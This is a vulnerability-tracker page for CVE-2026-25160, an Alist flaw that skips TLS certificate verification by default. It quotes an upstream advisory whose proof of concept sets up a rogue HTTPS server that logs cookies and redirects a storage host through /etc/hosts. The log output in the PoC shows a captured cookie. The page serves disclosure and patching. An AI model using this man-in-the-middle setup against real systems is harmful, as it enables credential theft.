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  4. CVE 2026 25160 alist has insecure tls config
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Back to active CVEs
Critical · CVSS 9.1CVE-2026-25160GHSA-8JMM-3XWX-W974

Alist has Insecure TLS ConfigCVE-2026-25160

Answer in brief

CVE-2026-25160 records a Critical severity (CVSS 9.1) vulnerability in Alist has Insecure TLS Config. The current sources do not mark it as known exploited. The current feed maps github.com/alist-org/alist/v3 (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Feb 4, 2026Updated Oct 8, 2026Source checked Nov 22, 2026First seen by HOL Jun 23, 2026Material review Oct 8, 2026
Upstream Advisory

Key facts

Risk
Critical · CVSS 9.1
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 9.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/alist-org/alist/v3 (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/alist-org/alist/v3go<3.57.03.57.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/alist-org/alist/v3.
  2. 2Review the reported fix. Update github.com/alist-org/alist/v3 to 3.57.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Feb 4, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jun 23, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. ### Details Certificate verification is disabled by default for all storage driver communications. The `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159). ~~~go func DefaultConfig() *Config { // ... TlsInsecureSkipVerify: true, // ... } ~~~ This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. #### PoC The /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server. The purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers. [Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d) ##### Setup a malicious https server: ssl.conf: ~~~ LoadModule ssl_module modules/mod_ssl.so LoadModule log_config_module modules/mod_log_config.so Listen 443 LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers CustomLog "/usr/local/apache2/logs/headers.log" headers <VirtualHost _default_:443> DocumentRoot "/usr/local/apache2/htdocs" ServerName localhost SSLEngine on SSLCertificateFile "/usr/local/apache2/conf/server.crt" SSLCertificateKeyFile "/usr/local/apache2/conf/server.key" ErrorLog "/usr/local/apache2/logs/ssl_error.log" <Directory "/usr/local/apache2/htdocs"> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> </VirtualHost> ~~~ Dockerfile: ~~~ FROM httpd:2.4 # Copy SSL config COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf # Include SSL config in main httpd.conf RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf # Copy certs COPY certs/server.crt /usr/local/apache2/conf/server.crt COPY certs/server.key /usr/local/apache2/conf/server.key ~~~ Scripts to run https server: ~~~bash mkdir certs openssl req -x509 -nodes -days 365 \ -newkey rsa:2048 \ -keyout certs/server.key \ -out certs/server.crt docker build -t httpd-ssl . docker run -dit --name my-https-server httpd-ssl ~~~ ##### Run alist ~~~bash docker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name="alist" alist666/alist:latest ~~~ Simulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server ~~~ <IP of HTTPS Server> www.weiyun.com ~~~ In the front end, add a weiyun storage and inspect log on tls server: ~~~ root@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log 172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] "GET /disk HTTP/1.1" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret= ~~~ Note that the cookie is in the log. ### Impact This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. This vulnerability affects all alist deployment. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine If there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at [email protected].

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • anacrolix/torrent before 1.63.0 Improper Certificate Validation via HTTPS Tracker ClientAlso CWE-295
  • anacrolix/torrent before 1.62.0 Denial of Service via Bencode Decoder RecursionSame go ecosystem

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-295
Source
GitHub Security Advisories
Source checked
Nov 22, 2026
References
5 linked sources
Open source record